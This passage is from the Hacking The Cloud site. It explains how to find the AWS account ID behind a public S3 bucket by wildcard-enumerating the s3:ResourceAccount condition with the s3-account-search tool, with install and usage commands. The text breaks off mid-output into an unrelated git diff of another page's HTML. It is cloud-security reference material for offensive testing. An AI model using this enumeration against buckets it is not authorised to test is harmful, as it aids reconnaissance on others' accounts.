href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#installation class=md-nav__link> <span class=md-ellipsis> Installation </span> </a> </li> <li class=md-nav__item> <a href=#setup class=md-nav__link> <span class=md-ellipsis> Setup </span> </a> </li> <li class=md-nav__item> <a href=#usage class=md-nav__link> <span class=md-ellipsis> Usage </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#installation class=md-nav__link> <span class=md-ellipsis> Installation </span> </a> </li> <li class=md-nav__item> <a href=#setup class=md-nav__link> <span class=md-ellipsis> Setup </span> </a> </li> <li class=md-nav__item> <a href=#usage class=md-nav__link> <span class=md-ellipsis> Usage </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/account_id_from_s3_bucket.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Enumerate AWS Account ID from a Public S3 Bucket</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/ >Finding the Account ID of any public S3 bucket</a> by <a href=https://twitter.com/benbridts>Ben Bridts</a></p> <p><a class=glightbox href=/images/researchers/ben_bridts.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/ben_bridts.jpg alt="Ben Bridts" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/WeAreCloudar/s3-account-search>s3-account-search</a>: A tool to find the account ID an S3 bucket belongs to.</p> </li> </ul> </div> <div class="admonition note"> <p class=admonition-title>Note</p> <p>When you install a version &lt;0.2.0 using <a href=https://pip.pypa.io/en/stable/ >pip</a>, the executable is named <code>s3-account-search</code>.</p> </div> <p>By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.</p> <p>To test this, you can use <a href=https://buckets.grayhatwarfare.com/random/buckets>Grayhat Warfare's</a> list of public S3 buckets.</p> <p>You will need a role with <code>s3:getObject</code> and <code>s3:ListBucket</code> permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.</p> <h2 id=installation>Installation<a class=headerlink href=#installation title="Permanent link">&para;</a></h2> <p>The tool can be installed with the following command:</p> <div class=highlight><pre><span></span><code>python3 -m pip install s3-account-search
 </code></pre></div> <h2 id=setup>Setup<a class=headerlink href=#setup title="Permanent link">&para;</a></h2> <p>To use the tool, there is some setup on your end. You will need your own AWS account with a role you can assume with the <code>s3:GetObject</code> or <code>s3:ListBucket</code> permissions. s3-account-finder will assume this role so make sure the credentials you're using can do this.</p> <h2 id=usage>Usage<a class=headerlink href=#usage title="Permanent link">&para;</a></h2> <div class=highlight><pre><span></span><code>s3-account-search arn:aws:iam::123456789123:role/s3-searcher &lt;bucket name&gt;
 Starting search (this can take a while)
 found: 1
diff --git a/aws/enumeration/brute_force_iam_permissions/index.html b/aws/enumeration/brute_force_iam_permissions/index.html
index 4a8622d44..ccb79af29 100644
--- a/aws/enumeration/brute_force_iam_permissions/index.html
+++ b/aws/enumeration/brute_force_iam_permissions/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Brute force the IAM permissions of a user or role to see what you have access to."><link href=https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ rel=canonical><link href=../account_id_from_s3_bucket/ rel=prev><link href=../bypass_cognito_user_enumeration_controls/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Brute Force IAM Permissions - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Brute Force IAM Permissions - Hacking The Cloud"><meta property=og:description content="Brute force the IAM permissions of a user or role to see what you have access to."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Brute Force IAM Permissions - Hacking The Cloud"><meta property=twitter:description content="Brute force the IAM permissions of a user or role to see what you have access to."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Brute force the IAM permissions of a user or role to see what you have access to."><link href=https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ rel=canonical><link href=../account_id_from_s3_bucket/ rel=prev><link href=../bypass_cognito_user_enumeration_controls/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Brute Force IAM Permissions - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Brute Force IAM Permissions - Hacking The Cloud"><meta property=og:description content="Brute force the IAM permissions of a user or role to see what you have access 